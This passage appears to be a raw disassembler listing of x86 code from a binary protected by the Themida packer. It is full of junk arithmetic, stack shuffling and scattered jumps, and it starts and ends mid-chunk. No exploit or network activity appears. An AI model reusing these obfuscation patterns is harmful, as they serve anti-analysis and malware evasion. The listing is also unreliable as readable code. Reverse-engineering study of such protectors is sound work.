START OF FUNCTION CHUNK FOR sub_59196D loc_590B9A: ; CODE XREF: sub_59196D-4611j shl eax, 7 push ecx mov ecx, 0FFFFFFFFh sub eax, ecx jmp loc_591443 ; --------------------------------------------------------------------------- loc_590BAA: ; CODE XREF: sub_59196D-BFEj ; sub_59196D+73Dj mov ch, 87h mov dh, ch pop ecx or dh, 0A6h not dh push 1E1Dh mov [esp+4Eh+var_4E], ebx mov bh, 2Ch add dh, bh pop ebx sub bl, dh pop edx add bl, al push small 6F3Ch jmp loc_5900CA ; --------------------------------------------------------------------------- loc_590BCF: ; CODE XREF: sub_59196D-4BF4j mov esp, [esp+3Eh+var_40+2] cmp ecx, eax pushf jmp loc_590ABD ; --------------------------------------------------------------------------- loc_590BDA: ; CODE XREF: sub_59196D-2795j pop ebx jmp loc_5966C6 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_590BE0 proc near ; CODE XREF: sub_59196D+514Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B643 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058BDCF SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058FC9A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00590FA4 SIZE 0000001B BYTES push ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp push 7823h jmp loc_590FA4 sub_590BE0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590BFE: ; CODE XREF: sub_59196D-5j xor esi, ecx pop ecx add ebp, esi pop esi xchg ebp, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] bt word ptr [esp+14h+var_16+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590C15: ; CODE XREF: sub_59196D+1F12j mov esp, [esp+18h+var_1A+2] shl word ptr [esp+18h+var_1A+2], cl pushf jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_590C22: ; DATA XREF: Themida_:0058B1DCo movzx ax, byte ptr [edx] push 7B7Dh mov [esp], ecx push esp pop ecx push esi mov esi, 4 add ecx, esi pop esi jmp loc_58F3CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590C3E: ; CODE XREF: sub_59196D+1F26j add edx, 4 push esi mov esi, 4 add edx, esi jmp loc_596CE3 ; --------------------------------------------------------------------------- loc_590C51: ; CODE XREF: sub_59196D+3580j mov eax, [esp+20h+var_22+2] add esp, 4 sub esp, 4 mov [esp+20h+var_22+2], edi jmp loc_58C138 ; --------------------------------------------------------------------------- loc_590C68: ; CODE XREF: sub_59196D-5D8j add esi, ecx pop ecx sub edx, 29C86F8Dh jmp loc_592C9B ; --------------------------------------------------------------------------- loc_590C76: ; CODE XREF: sub_59196D+660Bj sub eax, 59A9657Bh sub eax, ebp add eax, 59A9657Bh push edx mov edx, 4CD95517h sub eax, edx mov edx, [esp+20h+var_22+2] add esp, 4 add eax, 0EE15503h jmp loc_58C7F7 ; --------------------------------------------------------------------------- loc_590C9A: ; CODE XREF: sub_59196D+3D7Cj mov esp, [esp+1Ch+var_1E+2] jmp loc_58B839 ; --------------------------------------------------------------------------- loc_590CA2: ; CODE XREF: sub_59196D+54B8j add ebx, 0E7C0126h add ebx, 0DA4FCFDBh push edi push eax mov eax, 42A0936h mov edi, eax jmp loc_597B3D ; --------------------------------------------------------------------------- loc_590CBC: ; CODE XREF: sub_59196D+3626j mov [esp+24h+var_26+2], ebx mov ebx, 4 add esi, ebx jmp loc_5957F6 ; --------------------------------------------------------------------------- loc_590CCB: ; CODE XREF: sub_59196D+12CFj mov [esp+24h+var_26+2], ebx push [esp+24h+var_22+2] pop ebx pop [esp+24h+var_26+2] jmp loc_5959DD ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590CDB proc near ; CODE XREF: sub_590438+10j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058C87D SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+4+var_4] jmp loc_58C87D sub_590CDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590CFD: ; CODE XREF: sub_59196D+43D2j push esp jmp loc_5936E7 ; --------------------------------------------------------------------------- loc_590D03: ; CODE XREF: sub_59196D+2143j shl ch, 5 add ch, 14h sub bl, ch pop ecx sub al, bl mov ebx, [esp+20h+var_22+2] add esp, 4 push dx push ebx mov bl, 0E0h push ecx mov ch, 8Ah push 0 sub byte ptr [esp+2Ah+var_2A], ch mov ch, byte ptr [esp+2Ah+var_2A] add esp, 4 shr ch, 3 add ch, 0CCh and bl, ch pop ecx inc bl js loc_596EFF add bl, 66h push eax mov al, 0E6h jmp loc_59519E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop ecx ; START OF FUNCTION CHUNK FOR sub_59196D loc_590D4A: ; CODE XREF: sub_59196D-1AF8j add ebx, esi mov esi, [esp+14h+var_16+2] jmp loc_5981CE ; --------------------------------------------------------------------------- loc_590D54: ; CODE XREF: sub_59196D+1817j sub al, ch sub al, 70h push [esp+14h+var_16+2] push [esp+18h+var_1A+2] pop ecx add esp, 4 add esp, 4 push edx sub esp, 4 mov [esp+18h+var_1A+2], ecx jmp loc_590BAA ; --------------------------------------------------------------------------- loc_590D74: ; CODE XREF: sub_59196D-519Aj add bx, 4002h push 4535h mov [esp+42h+var_44+2], ecx mov cx, 57D6h shr cx, 2 xor cx, 19B8h sub bx, cx mov ecx, [esp+42h+var_44+2] add esp, 4 add bx, ax push dx mov dx, 0C4Dh add bx, dx mov dx, word ptr [esp+40h+var_40] add esp, 2 push si push ebx mov bx, 731h push edx mov dx, 49C0h add dx, 201Fh jmp loc_58C34F ; --------------------------------------------------------------------------- loc_590DC0: ; CODE XREF: sub_59196D+1F6Cj push ecx push eax push ebx push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push edx mov edx, 4 jmp loc_59755A ; --------------------------------------------------------------------------- loc_590DDA: ; CODE XREF: sub_59196D:loc_591717j neg esi xor esi, 0FB636B2h add dword ptr [esp+4], 0BEC02DAh add dword ptr [esp+4], 587F67BBh add [esp+4], esi push ebp mov ebp, 587F67BBh sub [esp+8], ebp pop ebp push 703Ch mov [esp+5Eh+var_60+2], ebx mov ebx, 0BEC02DAh jmp loc_58D568 ; --------------------------------------------------------------------------- loc_590E13: ; CODE XREF: sub_59196D-4B24j mov [esp+24h+var_26+2], edi sub esp, 4 mov [esp+28h+var_2A+2], esp sub esp, 4 mov [esp+2Ch+var_2E+2], edi mov edi, 4 add [esp+2Ch+var_2A+2], edi jmp loc_591763 ; --------------------------------------------------------------------------- loc_590E36: ; CODE XREF: sub_59196D-5400j add ebp, 0A0E74CFEh sub ebx, 39856D1Dh add ebx, ebp add ebx, 39856D1Dh pop ebp xchg ebx, [esp+0Ah+var_C+2] pop esp mov ax, word ptr [esp+6+var_8+2] push edi mov edi, esp push 1947h mov [esp+0], edx mov edx, 694C34ACh push ebx mov ebx, 766C1A21h jmp loc_59173D ; --------------------------------------------------------------------------- loc_590E6E: ; CODE XREF: sub_59196D+2110j add dl, 0FFh jmp loc_596A41 ; --------------------------------------------------------------------------- loc_590E76: ; CODE XREF: sub_59196D+4749j mov edi, [esp+12h+var_12] jmp loc_591E32 ; --------------------------------------------------------------------------- loc_590E7E: ; CODE XREF: sub_59196D-1D43j ; sub_59196D+1D75j push edx push ebx sub [esp+18h+var_1A+2], 33CC6844h jmp loc_5976AF ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ebx jmp loc_5939E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590E98: ; CODE XREF: sub_59196D+4742j push edx mov dl, 0F5h jmp loc_59757F ; --------------------------------------------------------------------------- loc_590EA0: ; CODE XREF: sub_59196D-705j pop edx neg edx jge loc_5925A2 and edx, 2FC17A04h jo loc_596E2A mov bl, 7 loc_590EB7: ; CODE XREF: sub_59196D-4892j movzx eax, al push dword ptr [edi+eax*4] push eax mov eax, 30290E8Dh xor [esp+20h+var_1E+2], eax jmp loc_595688 ; --------------------------------------------------------------------------- loc_590ECC: ; CODE XREF: sub_59196D-48D7j add esp, 4 sub ebx, 67280549h add ebx, 313F7E33h jmp loc_58D02E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push edx push ebp push 7B149Bh mov ebp, [esp] push edx push esp jmp loc_592877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590EF4: ; CODE XREF: sub_59196D-6216j pop eax jmp loc_5925F5 ; --------------------------------------------------------------------------- loc_590EFA: ; CODE XREF: sub_59196D+10B4j push eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+24h+var_26+2] pop esp jmp loc_58C30E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_590F10: ; DATA XREF: Themida_:0058B0A0o push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp mov ebp, esp push edi push ebx jmp loc_595C86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590F23: ; CODE XREF: sub_59196D-113Fj mov esi, ebx mov eax, esi pop esi pop ebx neg eax shl eax, 2 jmp loc_58C6DD ; --------------------------------------------------------------------------- loc_590F33: ; CODE XREF: sub_59196D+137Cj xor edi, [esp+14h+var_16+2] jmp loc_58D945 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- xor [esp], ebx xor ebx, [esp] xor [esp], ebx push 3077h mov [esp], ebx jmp loc_58F9DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590F51: ; CODE XREF: sub_59196D-4DE1j mov bl, 0EBh shr bl, 4 shr bl, 3 jmp loc_594718 ; --------------------------------------------------------------------------- loc_590F5E: ; CODE XREF: sub_59196D-8Bj not ch xchg dl, ch not dl jmp loc_58E85B ; --------------------------------------------------------------------------- loc_590F69: ; CODE XREF: sub_59196D+1B17j xchg eax, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], edi mov edi, 2 jmp loc_58D452 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590F7A proc near ; CODE XREF: sub_59196D+61BEj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], esi jmp loc_592E7E sub_590F7A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590F88: ; CODE XREF: sub_59196D+3CA4j shr ecx, 2 jnz loc_5925C9 add ecx, 2771231Dh push esi mov esi, ecx pop ecx loc_590F9B: ; CODE XREF: sub_59196D-4E3Cj pop esp xchg eax, [esp+20h+var_22+2] jmp loc_58F440 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590BE0 loc_590FA4: ; CODE XREF: sub_59196D-32D6j ; sub_590BE0+19j mov [esp+0], esp add dword ptr [esp+0], 4 pop dword ptr [esp+0] add dword ptr [esp+0], 4 push dword ptr [esp+0] pop ebx push edx jmp loc_58FC9A ; END OF FUNCTION CHUNK FOR sub_590BE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590FBF: ; CODE XREF: sub_59196D+49AEj push ecx mov ecx, 4 add eax, ecx jmp loc_593DDB ; --------------------------------------------------------------------------- loc_590FCC: ; CODE XREF: sub_59196D+5C39j mov [esp+24h+var_26+2], edx mov edx, esp push 6279h mov [esp+28h+var_2A+2], ebx push 4 mov ebx, [esp+2Ch+var_2E+2] add esp, 4 add edx, 9D26D58h add edx, ebx jmp loc_595779 ; --------------------------------------------------------------------------- loc_590FF1: ; CODE XREF: sub_59196D-1940j push 0E0F09E1h pop ecx xchg esi, ecx not esi jmp loc_58F0D0 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_591000 proc near ; CODE XREF: sub_59196D+131Fj sub esp, 4 jmp loc_593C68 sub_591000 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591008: ; CODE XREF: sub_59196D+6BC4j pop esi add ecx, 6CE8A1C5h add ebx, ecx pop ecx xchg ebx, [esp+8+var_8] pop esp push ebp mov ebp, 32321166h sub ecx, ebp pop ebp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_595F29 ; --------------------------------------------------------------------------- loc_591033: ; CODE XREF: sub_59196D+25A4j sub eax, 259B02Ch mov ebx, eax pop eax jmp loc_5922A4 ; --------------------------------------------------------------------------- loc_591040: ; CODE XREF: sub_59196D-5EB5j mov ebx, 135418E3h sub edi, ebx pop ebx xor ecx, edi mov edi, [esp+10h+var_12+2] add esp, 4 push 2365h mov [esp+10h+var_12+2], eax push esi jmp loc_593F02 ; --------------------------------------------------------------------------- loc_59105E: ; CODE XREF: sub_59196D+6CB3j pop edx push 1B54h mov [esp+14h+var_16+2], ecx mov ch, 1Ch add ch, 0Ch sub al, 0A0h add al, ch add al, 0A0h jmp loc_596647 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_591077 proc near ; CODE XREF: sub_59196D+D1Bj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx jmp loc_592911 sub_591077 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591082: ; CODE XREF: sub_59196D+6084j sub edi, 89D035FDh sub ebx, edi pop edi push edx mov edx, 1D1C64ADh shr edx, 1 xor edx, 82E3F18h jmp loc_58BB52 ; --------------------------------------------------------------------------- loc_59109E: ; CODE XREF: sub_59196D+4407j add ebx, esi pop esi jmp loc_58E5F5 ; --------------------------------------------------------------------------- loc_5910A6: ; CODE XREF: sub_59196D-4802j and esi, 37935EB4h neg esi jnp loc_58D9E2 not esi xor esi, 10035A1Dh sub edx, esi pop esi xor edx, [esp+8+var_8] loc_5910C2: ; CODE XREF: sub_59196D-610j pop edi pop edx push 3859h jmp loc_5905B5 ; --------------------------------------------------------------------------- loc_5910CE: ; CODE XREF: sub_59196D+3FBCj pop dword ptr [eax] push dword ptr [esp+0] mov edi, [esp+4+var_4] add esp, 4 jmp sub_590932 ; --------------------------------------------------------------------------- loc_5910E1: ; CODE XREF: sub_59196D+4CA3j add ebx, edx pop edx jmp loc_58E53C ; --------------------------------------------------------------------------- loc_5910E9: ; CODE XREF: sub_59196D+17C3j pop edx xor edx, 10FC68A5h neg edx shr edx, 1 push edx sub [esp-4+arg_0], 0FFFFFFFFh jmp loc_5956AD ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cx, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_58E22B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591115: ; CODE XREF: sub_59196D+5C9j pop ebp jmp loc_59456A ; --------------------------------------------------------------------------- loc_59111B: ; CODE XREF: sub_59196D+69F8j pop eax shr eax, 4 js loc_58C2B0 jmp loc_58BBBE ; --------------------------------------------------------------------------- loc_59112A: ; CODE XREF: sub_59196D+141Aj and esi, 3BDA1FE7h jbe loc_592455 xor esi, 0C77FFB99h jmp loc_598336 ; --------------------------------------------------------------------------- loc_591141: ; CODE XREF: sub_59196D-507Dj shr eax, 1 add eax, 0D454E886h sub esi, eax jmp loc_59279A ; --------------------------------------------------------------------------- loc_59114F: ; CODE XREF: sub_59196D+3F1Fj push esp mov edx, [esp+3Ah+var_3C+2] add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp+36h+var_36] mov esp, [esp+36h+var_36] mov [esp+36h+var_36], ebp mov ebp, 168B1809h add ebp, 47D87810h sub ebp, 0FFFFFFFFh shl ebp, 4 push ebx mov ebx, 7FBF42E9h add ebp, ebx pop ebx add ebp, 6F1B9A85h sub edx, ebp pop ebp and eax, edx pop edx or eax, eax jz loc_592C0C push dword ptr [edi+1Ch] add [esp+32h+var_32], 32321166h mov ecx, [esp+32h+var_32] push ebx sub esp, 4 push esp pop [esp+3Eh+var_40+2] add [esp+3Ah+var_3C+2], 4 pop ebx add ebx, 4 push ecx mov ecx, 6BB80E01h and ecx, 170F727Eh sub ecx, 75C7CF9h jb loc_598507 xor ecx, 6AB25BB1h sub ecx, 83616976h loc_5911E0: ; CODE XREF: sub_59196D-291Aj xchg esi, [esp+3Ah+var_3C+2] pop esp jmp loc_591614 ; --------------------------------------------------------------------------- loc_5911E9: ; CODE XREF: sub_59196D+685Cj push edx mov dh, 66h sub dh, 8Ch xor dh, 6Ch jmp loc_596F0A ; --------------------------------------------------------------------------- loc_5911F7: ; CODE XREF: sub_59196D+6B80j sub ebx, 0FFFFFFFFh shr ebx, 7 jz loc_596D03 jmp loc_58C0F3 ; --------------------------------------------------------------------------- loc_59120B: ; CODE XREF: sub_59196D+1193j add edx, 49765BB8h sub edx, 643F30FEh xor edx, 35285BD5h sub edi, edx pop edx push ecx jmp loc_58C506 ; --------------------------------------------------------------------------- loc_591226: ; CODE XREF: sub_59196D-2328j mov bx, word ptr [esp-0Ch+arg_8] add esp, 2 push [esp-10h+arg_C] mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp loc_58B4AE ; --------------------------------------------------------------------------- loc_59123E: ; CODE XREF: sub_59196D-104j mov ebp, 5B627D53h inc ebp shr ebp, 6 shl ebp, 2 add ebp, 0FA49D830h add esi, 16560638h add esi, ebp sub esi, 16560638h jmp loc_592495 ; --------------------------------------------------------------------------- loc_591263: ; CODE XREF: sub_59196D+2102j pop ebp push edx not [esp-10h+arg_C] jmp loc_590EA0 ; --------------------------------------------------------------------------- loc_59126D: ; CODE XREF: sub_59196D-3E58j mov esi, [esp+1Ch+var_1E+2] add esp, 4 add edx, 2 xchg edx, [esp+18h+var_1A+2] pop esp mov ax, word ptr [esp+14h+var_16+2] push 27D7h jmp loc_58DA48 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_59128B proc near ; CODE XREF: sub_59196D-12FBj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058DB39 SIZE 00000008 BYTES push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], esi push ebx mov ebx, 2183A6Fh sub ebx, 0EECADB82h push ebx add [esp+4+var_4], 0EE1C6Fh pop esi sub esi, 0EE1C6Fh pop ebx add ecx, esi pop esi add ecx, edi push ebp mov ebp, 134D5EEDh sub ecx, 7C903F55h sub ecx, ebp add ecx, 7C903F55h pop ebp mov [ecx], al mov ecx, [esp+0] jmp loc_58DB39 sub_59128B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5912E1: ; CODE XREF: Themida_:0058EFEBj jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5912E6: ; CODE XREF: sub_59196D+24BAj pop edi xor edx, ebx mov ebx, [esp+14h+var_16+2] add esp, 4 jmp loc_58DE79 ; --------------------------------------------------------------------------- loc_5912F7: ; CODE XREF: sub_59196D-10EDj add edi, 77FB6DDFh jmp loc_5907C7 ; --------------------------------------------------------------------------- loc_591302: ; CODE XREF: sub_59196D-6544j pop esi add ecx, edx pop edx mov [edx+30h], ecx mov ecx, [esp+0] add esp, 4 popa popf retn ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591317: ; CODE XREF: sub_59196D+5FD0j mov word ptr [esp-28h+arg_24], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591323: ; CODE XREF: sub_59196D+26FFj pop esp mov [esp-26h+arg_20+2], esi push 18EBh mov [esp-22h+arg_1C+2], edi jmp loc_59654E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D7 loc_591334: ; CODE XREF: sub_58D7D7+Ej pop ecx jmp loc_590132 ; END OF FUNCTION CHUNK FOR sub_58D7D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59133A: ; CODE XREF: sub_59196D-4254j mov ebx, 66E46C0Bh jmp loc_59176D ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_591344 proc near ; CODE XREF: sub_59196D+14E2j ; FUNCTION CHUNK AT 0058E554 SIZE 00000013 BYTES push ebp mov ebp, esp push esi jmp loc_58E554 sub_591344 endp ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp jmp loc_58F780 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591359: ; CODE XREF: sub_59196D-6401j sub [esp+18h+var_16+2], edi jmp loc_5910C2 ; --------------------------------------------------------------------------- loc_591362: ; CODE XREF: sub_59196D-27A1j xor dl, 84h sub al, 19h jmp loc_58D71E ; --------------------------------------------------------------------------- loc_59136C: ; CODE XREF: sub_59196D+69D6j push [esp+20h+var_22+2] mov ecx, [esp+24h+var_26+2] add esp, 4 push 3A18h mov [esp+24h+var_26+2], edx mov edx, esp jmp loc_594814 ; --------------------------------------------------------------------------- loc_591387: ; CODE XREF: sub_59196D-3BDEj shr edi, 1 push edx jmp loc_59822C ; --------------------------------------------------------------------------- loc_59138F: ; CODE XREF: sub_59196D-5714j sub edi, eax pop eax mov esi, edi pop edi jmp loc_590C68 ; --------------------------------------------------------------------------- loc_59139A: ; CODE XREF: sub_59196D+67CAj and edx, 40413B1Dh add edx, 0F201DFFDh sub eax, edx pop edx add eax, esi jmp loc_58B577 ; --------------------------------------------------------------------------- loc_5913B0: ; CODE XREF: sub_59196D-E9Fj pop esp sub esp, 4 mov [esp+3Ch+var_3C], ecx push edx mov edx, 490B5062h sub esp, 4 mov [esp+44h+var_44], ebp mov ebp, 490B5061h push esi jmp loc_592F3A ; --------------------------------------------------------------------------- loc_5913D4: ; CODE XREF: sub_59196D+E64j mov ch, 89h mov al, ch pop ecx add al, 8Ah mov bl, al jmp loc_593A24 ; --------------------------------------------------------------------------- loc_5913E2: ; CODE XREF: sub_59196D+3E79j pop ebp mov ebx, [esp+40h+var_40] add esp, 4 or ecx, ecx jz loc_593723 push 6484h mov [esp+40h+var_40], esp push ebp push eax jmp loc_598445 ; --------------------------------------------------------------------------- loc_591400: ; CODE XREF: sub_59196D+2136j xor edi, ebp pop ebp mov esi, edi pop edi push edx mov edx, 11A20492h push edx jmp loc_596814 ; --------------------------------------------------------------------------- loc_591412: ; CODE XREF: sub_59196D-16A2j pop ecx push edi mov edi, 2 sub eax, 76DF5E22h add eax, edi jmp loc_5904F5 ; --------------------------------------------------------------------------- loc_591425: ; CODE XREF: sub_59196D-3C1j jl loc_58D62E sub ecx, 7C663F5Ch jmp loc_5941C2 ; --------------------------------------------------------------------------- loc_591436: ; CODE XREF: sub_59196D+4816j push 0A39h mov [esp+1Ch+var_1E+2], ebp jmp loc_592249 ; --------------------------------------------------------------------------- loc_591443: ; CODE XREF: sub_59196D-DC8j pop ecx xor eax, 15DB3148h push ebp jmp loc_591E13 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_59144F: ; CODE XREF: Themida_:00591552j push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], esi push 15E7h mov [esp], esp add dword ptr [esp], 4 pop esi push edi mov edi, 6D55495Dh sub edi, 5F3C4981h sub edi, 0E18FFD8h push ebp mov ebp, 0C485E2Dh not ebp and ebp, 0AD35D5Bh xor ebp, 5AF56F7Eh not ebp jmp loc_5968B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5914A1: ; CODE XREF: sub_59196D-2DE4j push ecx mov ecx, 4D0375C1h xor esi, ecx pop ecx jmp loc_596AED ; --------------------------------------------------------------------------- loc_5914AF: ; CODE XREF: sub_59196D-4055j jns loc_59246B push esi push edx jmp loc_58E848 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov edi, ebp pop eax ; START OF FUNCTION CHUNK FOR sub_59196D loc_5914BF: ; CODE XREF: sub_59196D-4C88j add al, 4Ch jmp loc_593D81 ; --------------------------------------------------------------------------- loc_5914C6: ; CODE XREF: sub_59196D-47CFj shr ecx, 7 jmp loc_593B03 ; --------------------------------------------------------------------------- loc_5914CE: ; CODE XREF: sub_59196D-539Bj add edx, esi pop esi jmp loc_590533 ; --------------------------------------------------------------------------- loc_5914D6: ; CODE XREF: sub_59196D-3FA8j jmp loc_59717D ; --------------------------------------------------------------------------- loc_5914DB: ; CODE XREF: sub_59196D+91Cj add esp, 4 add esp, 4 push cx jmp loc_593145 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_5914EB proc near ; CODE XREF: sub_59196D-4843j var_8 = dword ptr -8 var_4 = dword ptr -4 push ebx mov ebx, 4 add esi, ebx push [esp+4+var_4] mov ebx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5963BD sub_5914EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591507: ; CODE XREF: sub_59196D+6159j xchg edx, [esp+0] pop esp push ebx jmp loc_58C06D ; --------------------------------------------------------------------------- loc_591511: ; CODE XREF: sub_59196D-3B79j xor eax, esi xor esi, eax xor eax, esi push esi push esi push [esp+36h+var_32] pop esi pop [esp+36h+var_36] jmp loc_594AE8 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_591526 proc near ; DATA XREF: Themida_:0058B1F0o mov cx, [esp+0] push edi mov edi, esp push ebx push eax mov eax, 28E67C6h jmp loc_5932E8 sub_591526 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591539: ; CODE XREF: sub_59196D-56F9j add esp, 4 push 2360h mov [esp+1Ch+var_1E+2], eax mov al, 14h push ebx mov bl, 4Bh jmp loc_58F22C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_59154E: ; DATA XREF: Themida_:0058B0D4o mov cx, [esp] jmp loc_59144F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591557: ; CODE XREF: sub_59196D-2F90j mov ebp, 0B3D8D6F5h jmp loc_5967AC ; --------------------------------------------------------------------------- loc_591561: ; CODE XREF: sub_59196D-5219j xor ebp, 25C2748h xor ebp, 6ED062DBh shr ebp, 5 jmp loc_5923FA ; --------------------------------------------------------------------------- loc_591575: ; CODE XREF: sub_59196D-1A93j or ebx, 63230EA2h jle loc_592736 add ebx, 61BB3840h mov ebp, ebx pop ebx add eax, ebp pop ebp loc_59158D: ; CODE XREF: sub_59196D-5706j add esi, 4 jmp loc_592A26 ; --------------------------------------------------------------------------- loc_591598: ; CODE XREF: sub_59196D+2AA7j mov [esp+10h+var_12+2], ecx push 0E1E5736h mov ecx, [esp+14h+var_16+2] add esp, 4 xor ecx, 4DFC7C56h jmp loc_591425 ; --------------------------------------------------------------------------- loc_5915B1: ; CODE XREF: sub_59196D+23CEj sub eax, esi push edi jmp loc_58DD7F ; --------------------------------------------------------------------------- loc_5915B9: ; CODE XREF: sub_59196D+195j xor edx, 76D5B12h mov edi, edx pop edx jmp loc_58F94A ; --------------------------------------------------------------------------- loc_5915C7: ; CODE XREF: sub_59196D+67A5j mov [esp+10h+var_12+2], ebx mov ebx, 0 add ebx, edx mov [ebx], al pop ebx mov edx, [esp+0Ch+var_C] add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5915E2: ; CODE XREF: sub_59196D-6343j ; sub_59196D-DFDj ... mov ebp, eax jmp loc_58B78B ; --------------------------------------------------------------------------- loc_5915E9: ; CODE XREF: Themida_:loc_58C76Aj ; sub_59196D+5DABj mov eax, 4 add edi, eax pop eax push 0EEAh mov [esp+18h+var_1A+2], ebp push edx mov edx, 17F424F9h push eax mov eax, 118A0F12h and eax, 59B413B2h add eax, 1738247Ah jmp loc_5915E2 ; --------------------------------------------------------------------------- loc_591614: ; CODE XREF: sub_59196D-789j mov [esp+36h+var_36], eax push 3B22h mov [esp+3Ah+var_3C+2], ebx jmp loc_5943C1 ; --------------------------------------------------------------------------- loc_591624: ; CODE XREF: sub_59196D-1F11j add esp, 4 jmp loc_591D51 ; --------------------------------------------------------------------------- loc_59162F: ; CODE XREF: sub_59196D+32D6j mov word ptr [esp+4Eh+var_4E], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591638: ; CODE XREF: sub_59196D-2B8Fj mov [esp+34h+var_36+2], edx mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp+0] add esp, 4 xchg edx, [esp+34h+var_36+2] mov esp, [esp+34h+var_36+2] push edx jmp loc_591F3B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_591660: ; CODE XREF: Themida_:0058C96Fj pop ebx sub dword ptr [esp+4], 5F0E2AFBh sub [esp+4], edi add dword ptr [esp+4], 5F0E2AFBh mov edi, [esp] jmp loc_58F9F5 ; --------------------------------------------------------------------------- ; START OF 